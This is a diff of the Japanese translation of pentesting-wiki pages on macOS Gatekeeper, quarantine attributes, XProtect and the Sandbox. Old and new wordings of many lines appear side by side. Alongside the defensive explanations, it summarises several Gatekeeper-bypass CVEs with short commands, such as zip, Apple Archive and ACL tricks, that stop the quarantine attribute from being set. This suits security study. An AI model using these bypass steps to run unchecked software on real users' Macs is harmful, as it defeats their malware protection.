@ -53,26 +49,26 @@ Appleのノータリゼーションプロセスは、ユーザーを潜在的に
ソフトウェアがこの検査を問題なく通過すると、ノータリーサービスはノータリゼーションチケットを生成します。開発者はその後、**このチケットを自分のソフトウェアに添付する**必要があり、このプロセスは「ステープリング」と呼ばれます。さらに、ノータリゼーションチケットはオンラインでも公開され、Appleのセキュリティ技術であるGatekeeperがアクセスできるようになります。
ユーザーがソフトウェアを初めてインストールまたは実行する際、ノータリゼーションチケットの存在 - 実行可能ファイルにステープルされているか、オンラインで見つかるかにかかわらず - **Gatekeeperに対してそのソフトウェアがAppleによってノータリゼーションされたことを通知します**。その結果、Gatekeeperは初回起動ダイアログに説明的なメッセージを表示し、そのソフトウェアがAppleによって悪意のあるコンテンツのチェックを受けたことを示します。このプロセスにより、ユーザーは自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼が高まります。
ユーザーがソフトウェアを初めてインストールまたは実行する際、ノータリゼーションチケットの存在 - 実行可能ファイルにステープルされているか、オンラインで見つかるかにかかわらず - **Gatekeeperに対してそのソフトウェアがAppleによってノータリゼーションされたことを通知します**。その結果、Gatekeeperは初回起動ダイアログに説明的なメッセージを表示し、そのソフトウェアがAppleによって悪意のあるコンテンツのチェックを受けたことを示します。このプロセスは、ユーザーが自分のシステムにインストールまたは実行するソフトウェアのセキュリティに対する信頼を高めます。
### spctl & syspolicyd
> [!CAUTION]
> Sequoiaバージョン以降、**`spctl`**はGatekeeperの設定を変更することを許可しなくなりました。
> Sequoiaバージョン以降、**`spctl`**はGatekeeperの設定を変更することを許可しなくなったことに注意してください。
**`spctl`**は、Gatekeeperと対話し、列挙するためのCLIツールです（`syspolicyd`デーモンとXPCメッセージを介して）。例えば、次のコマンドでGatekeeperの**ステータス**を確認することができます:
**`spctl`**は、Gatekeeperと対話し、列挙するためのCLIツールです（`syspolicyd`デーモンとXPCメッセージを介して）。例えば、次のコマンドでGateKeeperの**ステータス**を確認することができます:
```bash
# Check the status
spctl --status
```
> [!CAUTION]
> GateKeeperの署名チェックは、**Quarantine属性を持つファイル**に対してのみ実行され、すべてのファイルに対して行われるわけではありません。
> GateKeeperの署名チェックは、**隔離属性**を持つファイルにのみ実行され、すべてのファイルには実行されません。
GateKeeperは、**設定と署名**に基づいてバイナリが実行可能かどうかを確認します：
<figure><img src="../../../images/image (1150).png" alt=""><figcaption></figcaption></figure>
**`syspolicyd`**は、Gatekeeperを強制するための主要なデーモンです。これは`/var/db/SystemPolicy`にあるデータベースを維持しており、[データベースをサポートするコードはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp)と[SQLテンプレートはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql)で見つけることができます。データベースはSIPによって制限されておらず、rootによって書き込み可能で、データベース`/var/db/.SystemPolicy-default`は、他のデータベースが破損した場合の元のバックアップとして使用されます。
**`syspolicyd`**は、Gatekeeperを強制する主なデーモンです。これは`/var/db/SystemPolicy`にあるデータベースを維持しており、[データベースをサポートするコードはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/policydb.cpp)と[SQLテンプレートはこちら](https://opensource.apple.com/source/Security/Security-58286.240.4/OSX/libsecurity_codesigning/lib/syspolicy.sql)で見つけることができます。データベースはSIPによって制限されておらず、rootによって書き込み可能で、データベース`/var/db/.SystemPolicy-default`は、他のデータベースが破損した場合の元のバックアップとして使用されます。
さらに、バンドル**`/var/db/gke.bundle`**と**`/var/db/gkopaque.bundle`**には、データベースに挿入されるルールを持つファイルが含まれています。このデータベースはrootとして次のように確認できます：
```bash
@ -90,7 +86,7 @@ anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] exists an
```
**`syspolicyd`** は、`assess`、`update`、`record`、`cancel` などの異なる操作を持つ XPC サーバーも公開しており、これらは **`Security.framework`** の `SecAssessment*` API を使用してアクセス可能です。また、**`xpctl`** は実際に **`syspolicyd`** と XPC 経由で通信します。
最初のルールが "**App Store**" で終わり、2 番目のルールが "**Developer ID**" で終わることに注意してください。また、前の画像では **App Store と認識された開発者からアプリを実行することが有効になっていました**。\
最初のルールが "**App Store**" で終わり、2 番目のルールが "**Developer ID**" で終わっていることに注意してください。また、前の画像では **App Store と認識された開発者からアプリを実行することが有効になっていました**。\
その設定を App Store に **変更**すると、"**Notarized Developer ID" ルールは消えます**。
**type GKE** のルールも数千あります：
@ -130,7 +126,7 @@ spctl --master-enable
```bash
spctl --assess -v /Applications/App.app
```
特定のアプリの実行を許可するために、GateKeeperに新しいルールを追加することが可能です:
GateKeeperに新しいルールを追加して、特定のアプリの実行を許可することが可能です:
```bash
# Check if allowed - nop
spctl --assess -v /Applications/App.app
@ -149,24 +145,24 @@ spctl --assess -v /Applications/App.app
### 検疫ファイル
アプリケーションやファイルを**ダウンロード**すると、特定のmacOS **アプリケーション**（ウェブブラウザやメールクライアントなど）が、ダウンロードされたファイルに一般的に「**検疫フラグ**」として知られる**拡張ファイル属性**を**付加**します。この属性は、ファイルが信頼できないソース（インターネット）から来ていることを**示す**セキュリティ対策として機能し、潜在的なリスクを伴います。ただし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。
アプリケーションやファイルを**ダウンロード**すると、ウェブブラウザやメールクライアントなどの特定のmacOS **アプリケーション**は、ダウンロードされたファイルに一般的に「**検疫フラグ**」として知られる**拡張ファイル属性**を**付加**します。この属性は、ファイルが信頼できないソース（インターネット）から来ていることを**示す**セキュリティ対策として機能し、潜在的なリスクを伴います。ただし、すべてのアプリケーションがこの属性を付加するわけではなく、一般的なBitTorrentクライアントソフトウェアは通常このプロセスを回避します。
**検疫フラグの存在は、ユーザーがファイルを実行しようとしたときにmacOSのGatekeeperセキュリティ機能に信号を送ります**。
**検疫フラグが存在しない場合**（一部のBitTorrentクライアントを介してダウンロードされたファイルなど）、Gatekeeperの**チェックは実行されない可能性があります**。したがって、ユーザーは、あまり安全でないまたは未知のソースからダウンロードされたファイルを開く際には注意を払うべきです。
**検疫フラグが存在しない場合**（一部のBitTorrentクライアントを介してダウンロードされたファイルのように）、Gatekeeperの**チェックは行われない可能性があります**。したがって、ユーザーは、あまり安全でないまたは未知のソースからダウンロードされたファイルを開く際には注意を払うべきです。
> [!NOTE] > **コード署名の** **有効性**を**確認する**ことは、コードとそのバンドルされたリソースの暗号学的**ハッシュ**を生成することを含む**リソース集約的**なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されているかどうかを確認するためにAppleのサーバーに**オンラインチェック**を行う必要があります。このため、アプリが起動するたびに完全なコード署名と公証のチェックを実行することは**非現実的です**。
> [!NOTE] > **コード署名の** **有効性**を**確認する**ことは、コードとそのバンドルされたリソースの暗号学的**ハッシュ**を生成することを含む**リソース集約的**なプロセスです。さらに、証明書の有効性を確認するには、発行後に取り消されているかどうかを確認するためにAppleのサーバーに**オンラインチェック**を行う必要があります。このため、アプリが起動するたびに完全なコード署名と公証のチェックを実行することは**実用的ではありません**。
>
> したがって、これらのチェックは**検疫属性を持つアプリを実行する際にのみ実行されます**。
> [!WARNING]
> この属性は、ファイルを作成/ダウンロードする**アプリケーションによって設定される必要があります**。
>
> ただし、サンドボックス化されたファイルは、作成するすべてのファイルにこの属性が設定されます。サンドボックス化されていないアプリは、自分で設定するか、**Info.plist**内の[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)キーを指定することで、作成されたファイルに`com.apple.quarantine`の拡張属性を設定させることができます。
> ただし、サンドボックス化されたファイルは、作成するすべてのファイルにこの属性が設定されます。そして、サンドボックス化されていないアプリは自分で設定するか、**Info.plist**内の[**LSFileQuarantineEnabled**](https://developer.apple.com/documentation/bundleresources/information_property_list/lsfilequarantineenabled?language=objc)キーを指定することで、システムが作成されたファイルに`com.apple.quarantine`の拡張属性を設定するようにします。
さらに、**`qtn_proc_apply_to_self`**を呼び出すプロセスによって作成されたすべてのファイルは検疫されます。また、API **`qtn_file_apply_to_path`**は、指定されたファイルパスに検疫属性を追加します。
そのステータスを**確認し、有効/無効にする**ことが（rootが必要）可能です：
そのステータスを**確認し、有効/無効にする**ことが（rootが必要）できます：
```bash
spctl --status
assessments enabled
@ -181,7 +177,7 @@ xattr file.png
com.apple.macl
com.apple.quarantine
```
**拡張属性**の**値**を確認し、次のコマンドを使用して**隔離属性**を書き込んだアプリを特定します:
**拡張属性**の**値**を確認し、次のコマンドを使用して隔離属性を書き込んだアプリを特定します:
```bash
xattr -l portada.png
com.apple.macl:
@ -197,7 +193,7 @@ com.apple.quarantine: 00C1;607842eb;Brave;F643CD5F-6071-46AB-83AB-390BA944DEC5
# Brave -- App
# F643CD5F-6071-46AB-83AB-390BA944DEC5 -- UID assigned to the file downloaded
```
実際、プロセスは「作成したファイルに検疫フラグを設定することができる」（作成したファイルにUSER_APPROVEDフラグを適用しようとしましたが、適用されませんでした）：
実際、プロセスは「作成したファイルに検疫フラグを設定することができる」（私はすでに作成したファイルにUSER_APPROVEDフラグを適用しようとしましたが、適用されませんでした）：
<details>
@ -279,11 +275,11 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
このライブラリは、拡張属性フィールドを操作するためのいくつかの関数をエクスポートします。
`qtn_file_*` APIはファイル隔離ポリシーを扱い、`qtn_proc_*` APIはプロセス（プロセスによって作成されたファイル）に適用されます。エクスポートされていない`__qtn_syscall_quarantine*`関数は、ポリシーを適用するもので、最初の引数に「Quarantine」を指定して`mac_syscall`を呼び出し、リクエストを`Quarantine.kext`に送信します。
`qtn_file_*` APIはファイルの隔離ポリシーを扱い、`qtn_proc_*` APIはプロセス（プロセスによって作成されたファイル）に適用されます。エクスポートされていない`__qtn_syscall_quarantine*`関数は、ポリシーを適用するもので、最初の引数として「Quarantine」を指定して`mac_syscall`を呼び出し、リクエストを`Quarantine.kext`に送信します。
#### **Quarantine.kext**
カーネル拡張は、**システムのカーネルキャッシュを通じてのみ利用可能**ですが、**Kernel Debug Kitを** [**https://developer.apple.com/**](https://developer.apple.com/) からダウンロードすることができ、拡張のシンボリケートされたバージョンが含まれています。
カーネル拡張は、**システムのカーネルキャッシュ**を通じてのみ利用可能ですが、**Kernel Debug Kitを** [**https://developer.apple.com/**](https://developer.apple.com/) からダウンロードすることができ、拡張のシンボリケートされたバージョンが含まれています。
このKextは、MACFを介していくつかの呼び出しをフックし、すべてのファイルライフサイクルイベントをトラップします：作成、オープン、名前変更、ハードリンク... さらには`setxattr`を使用して`com.apple.quarantine`拡張属性の設定を防ぎます。
@ -296,7 +292,7 @@ find / -exec ls -ld {} \; 2>/dev/null | grep -E "[x\-]@ " | awk '{printf $9; pri
XProtectはmacOSに組み込まれた**アンチマルウェア**機能です。XProtectは、アプリケーションが最初に起動または変更されたときに、既知のマルウェアおよび安全でないファイルタイプのデータベースに対して**チェックを行います**。Safari、Mail、Messagesなどの特定のアプリを通じてファイルをダウンロードすると、XProtectは自動的にファイルをスキャンします。ファイルがデータベース内の既知のマルウェアと一致する場合、XProtectは**ファイルの実行を防ぎ**、脅威を警告します。
XProtectデータベースは、Appleによって**定期的に更新**され、新しいマルウェア定義が追加されます。これらの更新は自動的にダウンロードされ、Macにインストールされます。これにより、XProtectは常に最新の既知の脅威に対して最新の状態を保ちます。
XProtectデータベースは、Appleによって**定期的に更新され**、新しいマルウェア定義が追加されます。これらの更新は自動的にダウンロードされ、Macにインストールされます。これにより、XProtectは常に最新の既知の脅威に対して最新の状態を保ちます。
ただし、**XProtectはフル機能のアンチウイルスソリューションではない**ことに注意する価値があります。特定の既知の脅威のリストのみをチェックし、ほとんどのアンチウイルスソフトウェアのようにオンアクセススキャンを実行しません。
@ -316,7 +312,7 @@ XProtectは、**/Library/Apple/System/Library/CoreServices/XProtect.bundle**のS
### Not Gatekeeper
> [!CAUTION]
> Gatekeeperは、アプリケーションを実行するたびに**実行されるわけではありません**。実行するアプリがすでにGatekeeperによって実行され、検証されている場合にのみ、_**AppleMobileFileIntegrity**_ (AMFI)が**実行可能コードの署名を検証**します。
> Gatekeeperは、アプリケーションを実行するたびに**実行されるわけではありません**。_**AppleMobileFileIntegrity**_ (AMFI)は、Gatekeeperによってすでに実行され、検証されたアプリを実行する際にのみ**実行可能コードの署名を検証**します。
したがって、以前はアプリを実行してGatekeeperでキャッシュし、その後**アプリケーションの実行可能でないファイルを変更する**（ElectronのasarやNIBファイルなど）ことが可能でした。他の保護がなければ、アプリケーションは**悪意のある**追加とともに**実行されました**。
@ -328,13 +324,13 @@ Gatekeeperをバイパスする方法（ユーザーに何かをダウンロー
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
**Archive Utility**を使用して抽出すると、**886文字を超えるパス**を持つファイルがcom.apple.quarantine拡張属性を受け取らないことが観察されました。この状況は、これらのファイルが**Gatekeeperの**セキュリティチェックを**回避する**ことを意図せずに許可します。
**Archive Utility**を使用して抽出すると、**886文字を超えるパス**を持つファイルがcom.apple.quarantine拡張属性を受け取らないことが観察されました。この状況は、意図せずにこれらのファイルが**Gatekeeperの**セキュリティチェックを**回避する**ことを可能にします。
詳細については、[**元の報告**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)を確認してください。
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
アプリケーションが**Automator**で作成されると、実行に必要な情報は`application.app/Contents/document.wflow`内にあり、実行可能ファイルにはありません。実行可能ファイルは、**Automator Application Stub**と呼ばれる一般的なAutomatorバイナリに過ぎません。
アプリケーションが**Automator**で作成されると、実行に必要な情報は`application.app/Contents/document.wflow`内にあり、実行可能ファイルにはありません。実行可能ファイルは、**Automator Application Stub**と呼ばれる一般的なAutomatorバイナリです。
したがって、`application.app/Contents/MacOS/Automator\ Application\ Stub`を**シンボリックリンクでシステム内の別のAutomator Application Stubにポイントさせる**ことができ、`document.wflow`（あなたのスクリプト）内の内容を**Gatekeeperをトリガーせずに実行**します。
@ -344,19 +340,19 @@ Gatekeeperをバイパスする方法（ユーザーに何かをダウンロー
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
このバイパスでは、アプリケーションが`application.app/Contents`から圧縮を開始するzipファイルが作成されました。したがって、**quarantine attr**は**`application.app/Contents`のすべてのファイルに適用されましたが、**`application.app`には適用されませんでした。これがGatekeeperがチェックしていたもので、`application.app`がトリガーされたときに**quarantine属性を持っていなかったため、Gatekeeperはバイパスされました。**
このバイパスでは、`application.app/Contents`から圧縮を開始するアプリケーションを含むzipファイルが作成されました。したがって、**quarantine attr**は**`application.app/Contents`のすべてのファイルに適用されましたが、**`application.app`には適用されませんでした。これがGatekeeperがチェックしていたもので、`application.app`がトリガーされたときに**quarantine属性を持っていなかったため、Gatekeeperはバイパスされました。**
```bash
zip -r test.app/Contents test.zip
```
チェックしてみてください [**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) さらなる情報のために。
チェックしてみてください [**元のレポート**](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/) で詳細情報を。
### [CVE-2022-32910](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-32910)
コンポーネントが異なっていても、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成することで、**`application.app`** は **Archive Utility** によって解凍されたときに隔離属性を取得しません。
コンポーネントは異なりますが、この脆弱性の悪用は前のものと非常に似ています。この場合、**`application.app/Contents`** から Apple Archive を生成するので、**`application.app`** は **Archive Utility** によって解凍されるときに隔離属性を取得しません。
```bash
aa archive -d test.app/Contents -o test.app.aar
```
チェックしてみてください [**オリジナルレポート**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/) についての詳細情報。
[**オリジナルレポート**](https://www.jamf.com/blog/jamf-threat-labs-macos-archive-utility-vulnerability/)をチェックして、詳細情報を確認してください。
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
@ -369,7 +365,7 @@ xattr: [Errno 13] Permission denied: '/tmp/no-attr'
```
さらに、**AppleDouble**ファイル形式は、ファイルをそのACEを含めてコピーします。
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、xattr内に保存されたACLのテキスト表現が**`com.apple.acl.text`**という名前で、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式でzipファイルに圧縮した場合... 検疫xattrはアプリケーションに設定されませんでした：
[**ソースコード**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html)では、**`com.apple.acl.text`**というxattrに保存されたACLのテキスト表現が、解凍されたファイルのACLとして設定されることがわかります。したがって、ACLが他のxattrsの書き込みを防ぐように設定されたアプリケーションを**AppleDouble**ファイル形式のzipファイルに圧縮した場合... 検疫xattrはアプリケーションに設定されませんでした：
```bash
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
ditto -c -k test test.zip
@ -429,10 +425,7 @@ aa archive -d s/ -o app.aar
### Prevent Quarantine xattr
".app"バンドルにクアランティンxattrが追加されていない場合、実行時に**Gatekeeperはトリガーされません**。
".app"バンドル内にquarantine xattrが追加されていない場合、実行時に**Gatekeeperはトリガーされません**。
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../../banners/hacktricks-training.md}}

56
src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md
View File

@ -4,13 +4,13 @@
## 基本情報
MacOS Sandbox（最初はSeatbeltと呼ばれていました）は、**サンドボックス内で実行されるアプリケーション**を、アプリが実行されている**サンドボックスプロファイルで指定された許可されたアクション**に制限します。これにより、**アプリケーションが予期されるリソースのみをアクセスすることが保証されます**。
MacOS Sandbox（最初はSeatbeltと呼ばれていました）は、**サンドボックス内で実行されるアプリケーション**を、アプリが実行されている**サンドボックスプロファイルで指定された許可されたアクション**に**制限**します。これにより、**アプリケーションが予期されるリソースのみをアクセスすることが保証されます**。
**`com.apple.security.app-sandbox`**という**権限**を持つアプリは、サンドボックス内で実行されます。**Appleのバイナリ**は通常サンドボックス内で実行され、**App Storeからのすべてのアプリケーションはその権限を持っています**。したがって、いくつかのアプリケーションはサンドボックス内で実行されます。
**`com.apple.security.app-sandbox`**という**権限**を持つアプリは、サンドボックス内で実行されます。**Appleのバイナリ**は通常サンドボックス内で実行され、**App Store**のすべてのアプリケーションはその権限を持っています。したがって、いくつかのアプリケーションはサンドボックス内で実行されます。
プロセスが何をできるか、またはできないかを制御するために、**サンドボックスはほぼすべての操作にフックを持っています**（ほとんどのシステムコールを含む）**MACF**を使用しています。ただし、アプリの**権限**に応じて、サンドボックスはプロセスに対してより許可的になる場合があります。
プロセスが何をできるか、またはできないかを制御するために、**サンドボックスはほぼすべての操作にフック**を持っています（ほとんどのシステムコールを含む）**MACF**を使用しています。ただし、アプリの**権限**に応じて、サンドボックスはプロセスに対してより許可的になる場合があります。
サンドボックスのいくつかの重要なコンポーネントは次のとおりです：
サンドボックスの重要なコンポーネントは次のとおりです：
- **カーネル拡張** `/System/Library/Extensions/Sandbox.kext`
- **プライベートフレームワーク** `/System/Library/PrivateFrameworks/AppSandbox.framework`
@ -54,7 +54,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
> [!CAUTION]
> サンドボックスから「脱出」して他のフォルダにアクセスするためにシンボリックリンクがあっても、アプリはそれらにアクセスするための**権限を持っている必要があります**。これらの権限は`RedirectablePaths`の**`.plist`**の中にあります。
> サンドボックスから「脱出」して他のフォルダーにアクセスするためにシンボリックリンクがあっても、アプリはそれらにアクセスするための**権限を持っている必要があります**。これらの権限は、`RedirectablePaths`の**`.plist`**内にあります。
**`SandboxProfileData`**は、B64にエスケープされたコンパイル済みサンドボックスプロファイルCFDataです。
```bash
@ -131,11 +131,11 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
)
```
> [!TIP]
> この[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)**を確認して、許可または拒否される可能性のあるアクションをさらに確認してください。**
> この[**研究**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)を確認して、許可または拒否される可能性のあるアクションをさらに確認してください。
>
> プロファイルのコンパイル版では、操作の名前がdylibおよびkextによって知られている配列のエントリに置き換えられ、コンパイル版が短く、読みづらくなります。
重要な**システムサービス**も、`mdnsresponder`サービスのように独自のカスタム**サンドボックス**内で実行されます。これらのカスタム**サンドボックスプロファイル**は以下で確認できます：
重要な**システムサービス**は、`mdnsresponder`サービスのように独自のカスタム**サンドボックス**内で実行されます。これらのカスタム**サンドボックスプロファイル**は以下で確認できます：
- **`/usr/share/sandbox`**
- **`/System/Library/Sandbox/Profiles`**
@ -143,7 +143,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
**App Store**アプリは**プロファイル****`/System/Library/Sandbox/Profiles/application.sb`**を使用します。このプロファイルで、**`com.apple.security.network.server`**のような権限がプロセスにネットワークを使用することを許可する方法を確認できます。
SIPは/System/Library/Sandbox/rootless.confにあるplatform_profileというサンドボックスプロファイルです。
次に、一部の**Appleデーモンサービス**は、`/System/Library/Sandbox/Profiles/*.sb`または`/usr/share/sandbox/*.sb`にある異なるプロファイルを使用します。これらのサンドボックスは、API `sandbox_init_XXX`を呼び出すメイン関数で適用されます。
**SIP**は、`/System/Library/Sandbox/rootless.conf`にあるplatform_profileというサンドボックスプロファイルです。
### サンドボックスプロファイルの例
@ -198,7 +200,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last
{{#endtabs}}
> [!NOTE]
> **Apple**が作成した**ソフトウェア**は、**Windows**上で**追加のセキュリティ対策**（アプリケーションサンドボックスなど）を持っていないことに注意してください。
> **Apple**が作成した**ソフトウェア**は、**Windows**上で**追加のセキュリティ対策**、例えばアプリケーションサンドボックスがありません。
バイパスの例:
@ -263,7 +265,7 @@ iOS では、デフォルトプロファイルは **container** と呼ばれ、S
## Sandboxのデバッグとバイパス
macOSでは、iOSとは異なり、プロセスはカーネルによって最初からサンドボックス化されているわけではなく、**プロセスは自らサンドボックスに参加する必要があります**。これは、macOSではプロセスが積極的にサンドボックスに入ることを決定するまで、サンドボックスによって制限されないことを意味しますが、App Storeアプリは常にサンドボックス化されています。
macOSでは、プロセスがカーネルによって最初からサンドボックス化されるiOSとは異なり、**プロセスは自らサンドボックスに参加する必要があります**。これは、macOSではプロセスが自らサンドボックスに入ることを積極的に決定するまで、サンドボックスによって制限されないことを意味しますが、App Storeアプリは常にサンドボックス化されています。
プロセスは、権限`com.apple.security.app-sandbox`を持っている場合、ユーザーランドから自動的にサンドボックス化されます。このプロセスの詳細な説明については、次を確認してください：
@ -283,7 +285,7 @@ macos-sandbox-debug-and-bypass/
- `sandbox_extension_issue_generic`
- `sandbox_extension_issue_posix_ipc`
拡張は、プロセスの資格情報からアクセス可能な第二のMACFラベルスロットに保存されます。次の**`sbtool`**がこの情報にアクセスできます。
拡張は、プロセスの資格情報からアクセス可能な2番目のMACFラベルスロットに保存されます。次の**`sbtool`**がこの情報にアクセスできます。
拡張は通常、許可されたプロセスによって付与されることに注意してください。たとえば、`tccd`は、プロセスが写真にアクセスし、XPCメッセージで許可された場合、`com.apple.tcc.kTCCServicePhotos`の拡張トークンを付与します。その後、プロセスは拡張トークンを消費する必要があり、それが追加されます。\
拡張トークンは、付与された権限をエンコードする長い16進数であることに注意してください。ただし、許可されたPIDがハードコーディングされていないため、トークンにアクセスできる任意のプロセスが**複数のプロセスによって消費される可能性があります**。
@ -305,7 +307,7 @@ sbtool <pid> all
サンドボックスを一時停止および再開することも可能で、`libsystem_sandbox.dylib`の`sandbox_suspend`および`sandbox_unsuspend`関数を使用します。
一時停止関数を呼び出すには、呼び出し元が呼び出すことを許可するためにいくつかの権限がチェックされます。例えば：
一時停止関数を呼び出すには、呼び出し元が呼び出すことを許可されるためにいくつかの権限がチェックされます。例えば：
- com.apple.private.security.sandbox-manager
- com.apple.security.print
@ -313,15 +315,15 @@ sbtool <pid> all
## mac_syscall
このシステムコール (#381) は、最初の引数として実行するモジュールを示す文字列を期待し、次の引数には実行する関数を示すコードを指定します。3番目の引数は実行される関数に依存します。
このシステムコール（#381）は、最初の引数として実行するモジュールを示す文字列を期待し、次の引数には実行する関数を示すコードを指定します。3番目の引数は実行される関数に依存します。
関数`___sandbox_ms`の呼び出しは、最初の引数に`"Sandbox"`を指定して`mac_syscall`をラップします。同様に、`___sandbox_msp`は`mac_set_proc` (#387) のラッパーです。次に、`___sandbox_ms`によってサポートされるコードの一部は次の表に示されています：
関数`___sandbox_ms`の呼び出しは、最初の引数に`"Sandbox"`を指定して`mac_syscall`をラップします。同様に、`___sandbox_msp`は`mac_set_proc`（#387）のラッパーです。次に、`___sandbox_ms`によってサポートされるコードの一部は次の表に示されています：
- **set_profile (#0)**: プロセスにコンパイル済みまたは名前付きプロファイルを適用します。
- **platform_policy (#1)**: プラットフォーム固有のポリシーチェックを強制します（macOSとiOSで異なります）。
- **check_sandbox (#2)**: 特定のサンドボックス操作の手動チェックを実行します。
- **note (#3)**: サンドボックスに注釈を追加します。
- **container (#4)**: 通常はデバッグまたは識別のために、サンドボックスに注釈を添付します。
- **container (#4)**: サンドボックスに注釈を添付します。通常はデバッグや識別のために使用されます。
- **extension_issue (#5)**: プロセスの新しい拡張を生成します。
- **extension_consume (#6)**: 指定された拡張を消費します。
- **extension_release (#7)**: 消費された拡張に関連付けられたメモリを解放します。
@ -330,25 +332,25 @@ sbtool <pid> all
- **suspend (#10)**: すべてのサンドボックスチェックを一時的に停止します（適切な権限が必要です）。
- **unsuspend (#11)**: 以前に一時停止されたすべてのサンドボックスチェックを再開します。
- **passthrough_access (#12)**: サンドボックスチェックをバイパスしてリソースへの直接パススルーアクセスを許可します。
- **set_container_path (#13)**: (iOSのみ) アプリグループまたは署名IDのためのコンテナパスを設定します。
- **container_map (#14)**: (iOSのみ) `containermanagerd`からコンテナパスを取得します。
- **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) サンドボックス内のユーザーモードメタデータを設定します。
- **set_container_path (#13)**: （iOSのみ）アプリグループまたは署名IDのためのコンテナパスを設定します。
- **container_map (#14)**: （iOSのみ）`containermanagerd`からコンテナパスを取得します。
- **sandbox_user_state_item_buffer_send (#15)**: （iOS 10+）サンドボックス内のユーザーモードメタデータを設定します。
- **inspect (#16)**: サンドボックス化されたプロセスに関するデバッグ情報を提供します。
- **dump (#18)**: (macOS 11) 分析のためにサンドボックスの現在のプロファイルをダンプします。
- **dump (#18)**: （macOS 11）分析のためにサンドボックスの現在のプロファイルをダンプします。
- **vtrace (#19)**: 監視またはデバッグのためにサンドボックス操作をトレースします。
- **builtin_profile_deactivate (#20)**: (macOS < 11) 名前付きプロファイルを無効にします（例：`pe_i_can_has_debugger`）。
- **builtin_profile_deactivate (#20)**: （macOS < 11）名前付きプロファイルを無効にします（例：`pe_i_can_has_debugger`）。
- **check_bulk (#21)**: 単一の呼び出しで複数の`sandbox_check`操作を実行します。
- **reference_retain_by_audit_token (#28)**: サンドボックスチェックで使用するための監査トークンの参照を作成します。
- **reference_release (#29)**: 以前に保持された監査トークンの参照を解放します。
- **rootless_allows_task_for_pid (#30)**: `task_for_pid`が許可されているかどうかを確認します（`csr`チェックに類似）。
- **rootless_whitelist_push (#31)**: (macOS) システム整合性保護（SIP）マニフェストファイルを適用します。
- **rootless_whitelist_push (#31)**: （macOS）システム整合性保護（SIP）マニフェストファイルを適用します。
- **rootless_whitelist_check (preflight) (#32)**: 実行前にSIPマニフェストファイルをチェックします。
- **rootless_protected_volume (#33)**: (macOS) ディスクまたはパーティションにSIP保護を適用します。
- **rootless_protected_volume (#33)**: （macOS）ディスクまたはパーティションにSIP保護を適用します。
- **rootless_mkdir_protected (#34)**: ディレクトリ作成プロセスにSIP/DataVault保護を適用します。
## Sandbox.kext
iOSでは、カーネル拡張が`__TEXT.__const`セグメント内に**すべてのプロファイルをハードコーディング**しているため、変更されないようにしています。以下はカーネル拡張からのいくつかの興味深い関数です：
iOSでは、カーネル拡張が`__TEXT.__const`セグメント内に**すべてのプロファイルをハードコーディング**しているため、変更されることはありません。以下はカーネル拡張からのいくつかの興味深い関数です：
- **`hook_policy_init`**: `mpo_policy_init`をフックし、`mac_policy_register`の後に呼び出されます。サンドボックスの初期化のほとんどを実行します。また、SIPも初期化します。
- **`hook_policy_initbsd`**: `security.mac.sandbox.sentinel`、`security.mac.sandbox.audio_active`、および`security.mac.sandbox.debug_mode`を登録するsysctlインターフェースを設定します（`PE_i_can_has_debugger`でブートされた場合）。
@ -356,17 +358,17 @@ iOSでは、カーネル拡張が`__TEXT.__const`セグメント内に**すべ
### MACF Hooks
**`Sandbox.kext`**は、MACFを介して100以上のフックを使用します。ほとんどのフックは、アクションを実行することを許可する単純なケースをチェックするだけで、そうでない場合は、**`cred_sb_evalutate`**を呼び出し、**資格情報**と**操作**に対応する番号、出力用の**バッファ**を渡します。
